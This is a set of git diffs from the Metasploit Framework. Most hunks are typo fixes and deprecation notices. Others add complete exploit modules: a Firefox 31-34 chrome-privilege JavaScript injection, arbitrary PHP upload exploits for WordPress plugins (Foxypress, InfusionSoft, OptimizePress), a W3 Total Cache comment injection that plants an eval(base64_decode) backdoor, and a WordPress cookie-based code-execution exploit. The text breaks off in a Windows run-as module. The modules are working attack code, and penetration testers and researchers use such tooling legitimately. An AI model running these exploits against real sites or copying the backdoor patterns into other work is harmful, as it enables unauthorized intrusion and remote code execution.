@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote
Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling
of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing
remote unauthenticated attackers to execute arbitrary code. This module was tested in
an emulated environment, using the version 1.10.16.m of the firmwarey.
an emulated environment, using the version 1.10.16.m of the firmware.
},
'Author' =>
[

View File

@ -13,14 +13,11 @@ class Metasploit4 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',
'Description' => %q(
This module remotely exploits CVE-2015-0235 (a.k.a. GHOST, a heap-based
buffer overflow in the GNU C Library's gethostbyname functions) on x86
'Description' => %q{
This module remotely exploits CVE-2015-0235, aka GHOST, a heap-based
buffer overflow in the GNU C Library's gethostbyname functions on x86
and x86_64 GNU/Linux systems that run the Exim mail server.
For additional information, please refer to the module's References
section.
),
},
'Author' => ['Qualys, Inc. <qsa[at]qualys.com>'],
'License' => BSD_LICENSE,
'References' => [

View File

@ -0,0 +1,115 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/exploitation/jsobfu'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection',
'Description' => %q{
This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect
component and gaining a reference to the privileged chrome:// window. This exploit
requires the user to click anywhere on the page to trigger the vulnerability.
},
'License' => MSF_LICENSE,
'Author' => [
'joev' # discovery and metasploit module
],
'DisclosureDate' => "Jan 20 2014",
'References' => [
['CVE', '2014-8636'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ]
],
'Targets' => [
[
'Universal (Javascript XPCOM Shell)', {
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
}
],
[
'Native Payload', {
'Platform' => %w{ java linux osx solaris win },
'Arch' => ARCH_ALL
}
]
],
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => lambda { |ver| ver.to_i.between?(31, 34) }
}
))
register_options([
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ])
], self.class)
end
def on_request_exploit(cli, request, target_info)
send_response_html(cli, generate_html(target_info))
end
def default_html
"The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected."
end
def generate_html(target_info)
key = Rex::Text.rand_text_alpha(5 + rand(12))
frame = Rex::Text.rand_text_alpha(5 + rand(12))
r = Rex::Text.rand_text_alpha(5 + rand(12))
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
js = js_obfuscate %Q|
var opts = #{JSON.unparse(opts)};
var key = opts['#{key}'];
var props = {};
props.has = function(n){
if (!window.top.x && n=='nodeType') {
window.top.x=window.open("chrome://browser/content/browser.xul", "x",
"chrome,,top=-9999px,left=-9999px,height=100px,width=100px");
if (window.top.x) {
Object.setPrototypeOf(document, pro);
setTimeout(function(){
x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';
setTimeout(function(){
x.messageManager.loadFrameScript('data:,'+key, false);
setTimeout(function(){
x.close();
}, 100)
}, 100)
}, 100);
}
}
}
var pro = Object.getPrototypeOf(document);
Object.setPrototypeOf(document, Proxy.create(props));
|
%Q|
<!doctype html>
<html>
<body>
<script>
#{js}
</script>
#{datastore['CONTENT'] || default_html}
</body>
</html>
|
end
end

View File

@ -119,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Remote
send_header
ack = recv_protocol_ack
if ack.nil?
fail_with(Failure::NoTarget, "#{peer} - Filed to negotiate RMI protocol")
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
end
jar = rand_text_alpha(rand(8)+1) + '.jar'

View File

@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Description' => %q{
TWiki 4.0.x-6.0.0 contains a vulnerability in the Debug functionality.
The value of the debugenableplugins parameter is used without proper sanitization
in an Perl eval statement which allows remote code execution
in an Perl eval statement which allows remote code execution.
},
'Author' =>
[

View File

@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
include Msf::Module::Deprecated
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_foxypress_upload')
def initialize(info = {})
super(update_info(

View File

@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
include Msf::Module::Deprecated
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_infusionsoft_upload')
def initialize(info = {})
super(update_info(info,

View File

@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
include Msf::Module::Deprecated
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_lastpost_exec')
def initialize(info = {})
super(update_info(info,

View File

@ -11,6 +11,9 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Module::Deprecated
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_optimizepress_upload')
def initialize(info = {})
super(update_info(info,

View File

@ -6,6 +6,9 @@
class Metasploit3 < Msf::Exploit::Remote
include Msf::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient
include Msf::Module::Deprecated
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_total_cache_exec')
Rank = ExcellentRanking

View File

@ -0,0 +1,85 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution',
'Description' => %q(
This module exploits an arbitrary PHP code execution flaw in the WordPress
blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
file upload and remote code execution via the uploadify.php script. The Foxypress
plugin versions 0.4.1.1 to 0.4.2.1 are vulnerable.
),
'Author' =>
[
'Sammy FORGIT', # Vulnerability Discovery, PoC
'patrick' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '18991'],
['OSVDB' '82652'],
['BID', '53805'],
['WPVDB', '6231']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Foxypress 0.4.1.1 - 0.4.2.1', {}]],
'DisclosureDate' => 'Jun 05 2012',
'DefaultTarget' => 0))
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php')
)
return Exploit::CheckCode::Detected if res && res.code == 200
Exploit::CheckCode::Safe
end
def exploit
post_data = Rex::MIME::Message.new
post_data.add_part("<?php #{payload.encoded} ?>", 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")
print_status("#{peer} - Sending PHP payload")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php'),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
)
if res.nil? || res.code != 200 || res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
print_error("#{peer} - File wasn't uploaded, aborting!")
return
end
filename = "#{Regexp.last_match[1]}.php"
print_good("#{peer} - Our payload is at: #{filename}. Calling payload...")
register_files_for_cleanup(filename)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_wp_content, 'affiliate_images', filename)
)
print_error("#{peer} - Server returned #{res.code}") if res && res.code != 200
end
end

View File

@ -0,0 +1,82 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress InfusionSoft Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary PHP code upload in the WordPress Infusionsoft Gravity
Forms plugin, versions from 1.5.3 to 1.5.10. The vulnerability allows for arbitrary file
upload and remote code execution.
},
'Author' =>
[
'g0blin', # Vulnerability Discovery
'us3r777 <us3r777@n0b0.so>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-6446'],
['URL', 'http://research.g0blin.co.uk/cve-2014-6446/'],
['WPVDB', '7634']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Infusionsoft 1.5.3 - 1.5.10', {}]],
'DisclosureDate' => 'Sep 25 2014',
'DefaultTarget' => 0)
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', 'code_generator.php')
)
if res && res.code == 200 && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def exploit
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
res = send_request_cgi({
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
'Infusionsoft', 'utilities', 'code_generator.php'),
'method' => 'POST',
'vars_post' =>
{
'fileNamePattern' => php_pagename,
'fileTemplate' => payload.encoded
}
})
if res && res.code == 200 && res.body && res.body.to_s =~ /Creating File/
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
register_files_for_cleanup(php_pagename)
else
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
end
print_status("#{peer} - Calling payload ...")
send_request_cgi({
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
'Infusionsoft', 'utilities', php_pagename)
}, 2)
end
end

View File

@ -0,0 +1,79 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress cache_lastpostdate Arbitrary Code Execution',
'Description' => %q{
This module exploits an arbitrary PHP code execution flaw in the WordPress
blogging software. This vulnerability is only present when the PHP 'register_globals'
option is enabled (common for hosting providers). All versions of WordPress prior to
1.5.1.3 are affected.
},
'Author' => [ 'str0ke <str0ke[at]milw0rm.com>', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2005-2612'],
['OSVDB', '18672'],
['BID', '14533'],
['WPVDB', '6034']
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find'
},
'Space' => 512
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Aug 9 2005',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
], self.class)
end
def exploit
enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
data =
"wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"
# Trigger the command execution bug
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'cookie' => data
}, 25)
if (res)
print_status("The server returned: #{res.code} #{res.message}")
else
print_status("No response from the server")
end
end
end

View File

@ -0,0 +1,147 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'uri'
class Metasploit3 < Msf::Exploit::Remote
include Msf::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress OptimizePress Theme File Upload Vulnerability',
'Description' => %q{
This module exploits a vulnerability found in the the WordPress theme OptimizePress. The
vulnerability is due to an insecure file upload on the media-upload.php component, allowing
an attacker to upload arbitrary PHP code. This module has been tested successfully on
OptimizePress 1.45.
},
'Author' =>
[
'United of Muslim Cyber Army', # Vulnerability discovery
'Mekanismen' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ],
[ 'WPVDB', '7441' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['OptimizePress', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 29 2013'
))
register_advanced_options(
[
OptString.new('THEMEDIR', [ true, 'OptimizePress Theme directory', 'OptimizePress'])
])
end
def check
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
})
if res and res.code == 200 and res.body.to_s =~ /Upload New Image/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
uri = normalize_uri(target_uri.path)
#get upload filepath
print_status("#{peer} - Getting the upload path...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
})
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
end
if res.body =~ /<input name="imgpath" type="hidden" id="imgpath" value="(.*)" \/>/
file_path = $1
else
fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
end
#set cookie
cookie = res.get_cookies
filename = rand_text_alphanumeric(8) + ".php"
#upload payload
post_data = Rex::MIME::Message.new
post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"newcsimg\"; filename=\"#{filename}\"")
post_data.add_part("Upload File", nil, nil, "form-data; name=\"button\"")
post_data.add_part("1", nil, nil, "form-data; name=\"newcsimg\"")
post_data.add_part("#{file_path}", nil, nil, "form-data; name=\"imgpath\"")
print_status("#{peer} - Uploading PHP payload...")
n_data = post_data.to_s
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php'),
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
'data' => n_data,
'headers' => {
'Referer' => "#{uri}/wp-content/themes/OptimizePress/lib/admin/media-upload.php"
},
'cookie' => cookie
})
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to upload payload")
end
print_good("#{peer} - Payload uploaded successfully. Disclosing the payload path...")
#get path to payload
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
})
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
end
payload_url = ""
if res.body =~ /name="cs_img" value="(.*#{filename}.*)" \/> <span/
payload_url =$1
else
fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload")
end
begin
u = URI(payload_url)
rescue ::URI::InvalidURIError
fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload, #{payload_url} isn't an URL'")
end
register_files_for_cleanup(File::basename(u.path))
print_good("#{peer} - Our payload is at: #{u.path}! Executing payload...")
send_request_cgi({
'method' => 'GET',
'uri' => u.path
})
end
end

View File

@ -0,0 +1,207 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class Metasploit3 < Msf::Exploit::Remote
include Msf::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient
Rank = ExcellentRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress W3 Total Cache PHP Code Execution',
'Description' => %q{
This module exploits a PHP Code Injection vulnerability against WordPress plugin
W3 Total Cache for versions up to and including 0.9.2.8. WP Super Cache 1.2 or older
is also reported as vulnerable. The vulnerability is due to the handling of certain
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is
needed in order to add the malicious comment. If the POSTID option isn't specified,
then the module will automatically find or bruteforce one. Also, if anonymous comments
aren't allowed, then a valid username and password must be provided. In addition,
the "A comment is held for moderation" option on WordPress must be unchecked for
successful exploitation. This module has been tested against WordPress 3.5 and
W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.
},
'Author' =>
[
'Unknown', # Vulnerability discovery
'juan vazquez', # Metasploit module
'hdm', # Metasploit module
'Christian Mehlmauer' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-2010' ],
[ 'OSVDB', '92652' ],
[ 'BID', '59316' ],
[ 'URL', 'http://wordpress.org/support/topic/pwn3d' ],
[ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ],
[ 'WPVDB', '6622' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'DisableNops' => true,
},
'Targets' => [ ['Wordpress 3.5', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 17 2013'
))
register_options(
[
OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
], self.class)
register_advanced_options(
[
OptInt.new('MIN_POST_ID', [ false, 'Specify the first post_id used for bruteforce', 1]),
OptInt.new('MAX_POST_ID', [ false, 'Specify the last post_id used for bruteforce', 1000])
])
end
def require_auth?
@user = datastore['USERNAME']
@password = datastore['PASSWORD']
if @user and @password and not @user.empty? and not @password.empty?
return true
else
return false
end
end
def post_comment(text)
php_payload = "#{text}<!--mfunc if(isset($_SERVER['HTTP_SUM'])) { if (sha1($_SERVER['HTTP_SUM']) == '#{@sum}' ) { eval(base64_decode($_SERVER['HTTP_CMD'])); } } --><!--/mfunc-->"
if @auth
uri = wordpress_post_comment_auth(php_payload, @post_id, @cookie)
else
author = rand_text_alpha(8)
author_email = "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com"
author_url = rand_text_alpha(8)
uri = wordpress_post_comment_no_auth(php_payload,
@post_id,
author,
author_email,
author_url
)
@unauth_cookie = wordpress_get_unauth_comment_cookies(author, author_email, author_url)
end
uri
end
def exploit
unless wordpress_and_online?
fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site")
end
@auth = require_auth?
if @auth
print_status("#{peer} - Trying to login...")
@cookie = wordpress_login(@user, @password)
if @cookie.nil?
fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
end
print_status("#{peer} - login successful")
else
print_status("#{peer} - Trying unauthenticated exploitation...")
end
if datastore['POSTID'] and datastore['POSTID'] != 0
@post_id = datastore['POSTID']
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
else
print_status("#{peer} - Trying to get posts from feed...")
all_posts = wordpress_get_all_blog_posts_via_feed
# First try all blog posts provided by feed
if all_posts
all_posts.each do |p|
vprint_status("#{peer} - Checking #{p}...")
enabled = wordpress_post_comments_enabled?(p, @cookie)
@post_id = get_post_id_from_body(enabled)
if @post_id
print_status("#{peer} - Found Post POST ID #{@post_id}...")
break
end
end
end
# if nothing found, bruteforce a post id
unless @post_id
print_status("#{peer} - Nothing found. Trying to brute force a valid POST ID...")
min_post_id = datastore['MIN_POST_ID']
max_post_id = datastore['MAX_POST_ID']
@post_id = wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, @cookie)
if @post_id.nil?
fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
else
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
end
end
end
random_test = rand_text_alpha(64)
@sum = Rex::Text.sha1(random_test)
print_status("#{peer} - Injecting the PHP Code in a comment...")
text = Rex::Text::rand_text_alpha(10)
post_uri = post_comment(text)
if post_uri.nil?
fail_with(Failure::Unknown, "#{peer} - Expected redirection not returned")
end
print_status("#{peer} - Executing the payload...")
options = {
'method' => 'GET',
'uri' => post_uri,
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded),
'Sum' => random_test
}
}
options.merge!({'cookie' => @cookie}) if @auth
# Used to see anonymous, moderated comments
options.merge!({'cookie' => @unauth_cookie}) if @unauth_cookie
res = send_request_cgi(options)
if res and res.code == 301
fail_with(Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")
end
if res and !res.body.match(/#{Regexp.escape(text)}/)
fail_with(Failure::Unknown, "#{peer} - Comment not in post, maybe comments are moderated")
end
end
def check
res = wordpress_and_online?
unless res
vprint_error("#{peer} does not seeem to be Wordpress site")
return Exploit::CheckCode::Unknown
end
if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/
version = $1
if version <= "0.9.2.8"
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
if res.body and (res.body =~ /Performance optimized by W3 Total Cache/ or res.body =~ /Cached page generated by WP-Super-Cache/)
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
end

View File

@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
@ -57,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.' })
@payload_exe = payload_exe
@payload_exe = generate_payload_exe
print_status("Attempting to execute the payload...")
execute_command(@payload_exe)

View File

@ -66,8 +66,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
:method => "LoadMovie",
:activex => [
{
clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}',
method: 'LoadMovie'
}
],
:os_name => OperatingSystems::Match::WINDOWS,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^11\./ }

View File

@ -51,8 +51,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
:method => "LoadMovie",
:activex => [
{
clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}',
method: 'LoadMovie'
}
],
:os_name => OperatingSystems::Match::WINDOWS,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^11\.[7|8|9]/ && ver < '11.9.900.170' }

View File

@ -46,8 +46,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{#{CLASSID}}",
:method => "LoadMovie",
:activex => [
{
clsid: "{#{CLASSID}}",
method: "LoadMovie"
}
],
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
# Ohter versions are vulnerable but .235 is the one that works for me pretty well

View File

@ -55,8 +55,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
:method => "LoadMovie",
:activex => [
{
clsid: "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
method: "LoadMovie"
}
],
:os_name => OperatingSystems::Match::WINDOWS,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^11\.5/ && ver < '11.5.502.149' }

View File

@ -43,8 +43,12 @@ class Metasploit3 < Msf::Exploit::Remote
:os_name => OperatingSystems::Match::WINDOWS,
:ua_name => /MSIE/i,
:ua_ver => lambda { |ver| Gem::Version.new(ver) < Gem::Version.new('10') },
:clsid => "{5CE92A27-9F6A-11D2-9D3D-000001155641}",
:method => "GetColor"
:activex => [
{
clsid: "{5CE92A27-9F6A-11D2-9D3D-000001155641}",
method: "GetColor"
}
]
},
'Payload' =>
{

View File

@ -45,8 +45,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
:method => "ChooseFilePath",
:activex => [
{
clsid: "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
method: "ChooseFilePath"
}
],
:os_name => OperatingSystems::Match::WINDOWS,
},
'Targets' =>

View File

@ -73,8 +73,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{19916E01-B44E-4E31-94A4-4696DF46157B}",
:method => "requiredClaims",
:activex => [
{
clsid: '{19916E01-B44E-4E31-94A4-4696DF46157B}',
method: 'requiredClaims'
}
],
:os_name => OperatingSystems::Match::WINDOWS_XP
},
'Targets' =>

View File

@ -277,10 +277,7 @@ end function
vbs_name = "#{Rex::Text.rand_text_alpha(rand(16)+4)}.vbs"
gif_name = "#{Rex::Text.rand_text_alpha(rand(5)+3)}.gif"
payload_src = (datastore['SSL'] ? 'https' : 'http')
payload_src << '://'
payload_src << (datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST'])
payload_src << ":#{datastore['SRVPORT']}#{get_module_resource}/#{gif_name}"
payload_src = "#{gif_name}"
# I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue
# with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess.

View File

@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
Code execution occurs by writing to the All Users Startup Programs directory.
You may want to combine this module with the use of multi/handler since a
user would have to log for the payloda to execute.
user would have to log for the payload to execute.
},
'License' => MSF_LICENSE,
'Author' => [ 'jduck' ],

View File

@ -44,7 +44,12 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{4B3476C6-185A-4D19-BB09-718B565FA67B}",
:activex => [
{
clsid: '{4B3476C6-185A-4D19-BB09-718B565FA67B}',
method: 'SetText'
}
],
:os_name => OperatingSystems::Match::WINDOWS,
:ua_name => Msf::HttpClients::IE,
:ua_ver => '10.0'

View File

@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'Racer v0.5.3 Beta 5 Buffer Overflow',
'Description' => %q{
This module explots the Racer Car and Racing Simulator game
This module exploits the Racer Car and Racing Simulator game
versions v0.5.3 beta 5 and earlier. Both the client and server listen
on UDP port 26000. By sending an overly long buffer we are able to
execute arbitrary code remotely.

View File

@ -129,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
if command.length > 8000
# Windows 2008 Command Prompt Max Length is 8191
fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")
fail_with(Failure::BadConfig, "#{peer} - The selected payload is too long to execute through powershell in one command")
end
print_status("#{peer} - Exploiting through Powershell...")
execute_command(command)

View File

@ -232,7 +232,7 @@ class Metasploit3 < Msf::Exploit::Local
@addresses = disclose_addresses(my_target)
if @addresses.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.")
fail_with(Failure::Unknown, "Failed to disclose necessary addresses for exploitation. Aborting.")
else
print_good("Addresses successfully disclosed.")
end

View File

@ -15,8 +15,8 @@ class Metasploit3 < Msf::Exploit::Local
super(update_info(info,
'Name' => 'Powershell Remoting Remote Command Execution',
'Description' => %q{
Uses Powershell Remoting (TCP 47001) to inject payloads on target machines.
If RHOSTS are specified it will try to resolve the IPs to hostnames, otherwise
This module uses Powershell Remoting (TCP 47001) to inject payloads on target machines.
If RHOSTS are specified, it will try to resolve the IPs to hostnames, otherwise
use a HOSTFILE to supply a list of known hostnames.
},
'License' => MSF_LICENSE,

View File

@ -0,0 +1,126 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
include Msf::Post::Windows::Runas
include Msf::Post::Windows::Priv
def initialize(info = {})
super(update_info(info,
'Name' => "Windows Run Command As User",
'Description' => %q{
This module will login with the specified username/password and execute the
supplied command as a hidden process. Output is not returned by default.
Unless targetting a local user either set the DOMAIN, or specify a UPN user
format (e.g. user@domain). This uses the CreateProcessWithLogonW WinAPI function.
A custom command line can be sent instead of uploading an executable.
